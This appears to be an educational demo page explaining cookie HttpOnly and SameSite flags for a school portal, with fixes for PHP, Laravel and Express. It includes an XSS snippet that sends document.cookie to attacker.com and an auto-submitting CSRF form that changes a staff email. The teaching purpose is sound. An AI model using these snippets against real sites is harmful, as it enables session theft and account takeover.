⚠️ EDUCATIONAL DEMO: Demonstrates cookie security flag vulnerabilities. No real cookies are set or transmitted to any server.

Cookie Security Flags Demo

Missing HttpOnly and SameSite flags expose school session cookies to two distinct attacks.

THE SECURITY RISK IN PLAIN ENGLISH

When a staff member logs into the school portal, the server sets a cookie that acts as their "logged-in pass." Two flag settings control how safe that cookie is:

HttpOnly — prevents JavaScript from reading the cookie. Without it, any XSS vulnerability (even a comment box or search field) lets an attacker run JS that reads the session cookie and sends it to their server. No password needed — they just copy the cookie and they're in.

SameSite — prevents the cookie from being sent on cross-site requests. Without it, an attacker can embed a hidden form on their site that, when a staff member visits, automatically submits an action (change email, approve payment, delete record) using the staff member's live session — without them seeing anything.

🎣 Scenario: XSS steals session cookie via missing HttpOnly

❌ Cookie Set Without HttpOnly

Server set the cookie like this — JavaScript can read it freely:
Set-Cookie: session=eyJhb...
✕ HttpOnly flag: missing
Secure; SameSite=Lax
Attacker injects JS via a vulnerable comment field or URL parameter. The script runs and reads the cookie:
// Injected attacker script:
fetch('https://attacker.com/steal?c='
  + document.cookie);
📤 Cookie exfiltrated to attacker:
session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.abc123

Attacker pastes this into their browser DevTools → they are now logged in as the principal. No password needed.

✅ Cookie Set With HttpOnly

Server set the cookie correctly — JavaScript cannot access it at all:
Set-Cookie: session=eyJhb...
HttpOnly; Secure; SameSite=Lax
Same injected script runs, but document.cookie returns an empty string for HttpOnly cookies:
// Injected attacker script:
fetch('https://attacker.com/steal?c='
  + document.cookie); // returns ""
🛡️ Theft blocked.
document.cookie returned "" — the session cookie is invisible to JavaScript. The attacker's script sent an empty string. Nothing stolen.
🖱️ Scenario: CSRF attack via missing SameSite flag

❌ Cookie Without SameSite

Staff member is logged into the school portal. Attacker sends them a phishing link. When they visit the attacker's page, this hidden form auto-submits using their live session:
<!-- Hidden on attacker's page -->
<form action="https://school.edu.ph/admin/change-email"
       method="POST" id="csrf">
  <input name="email" value="attacker@evil.com"/>
</form>
<script>csrf.submit()</script>
📧 POST sent automatically.
The browser included the staff member's session cookie (no SameSite restriction). The school server sees a valid authenticated request and changes the email to attacker@evil.com. Account takeover complete — no click required beyond visiting the attacker's page.

✅ Cookie With SameSite=Lax

Same hidden form, same staff member. But the cookie has SameSite=Lax:
Set-Cookie: session=eyJhb...
HttpOnly; Secure;
SameSite=Lax
The browser refuses to attach the session cookie to any cross-site POST request:
🛡️ CSRF blocked.
The browser sent the POST but did not attach the session cookie — cross-site policy blocked it. The school server received an unauthenticated request and returned 401 Unauthorized. The attacker's form accomplished nothing.

❌ Current State (Vulnerable)

  • Session cookie readable by JavaScript → XSS = instant account takeover
  • Cookie sent on cross-site requests → CSRF attacks possible
  • Any XSS in any page of the portal exposes every logged-in session
  • Staff members can be targeted with a single phishing link
  • Cookie theft is silent — no failed login, no audit log, no alert

✅ Fix (Server-Side Cookie Settings)

  • PHP: session.cookie_httponly = 1 in php.ini
  • PHP: session.cookie_samesite = "Lax"
  • Laravel: set in config/session.phphttp_only: true, same_site: 'lax'
  • Node/Express: cookie: { httpOnly: true, sameSite: 'lax', secure: true }
  • Also add Secure flag so cookie only travels over HTTPS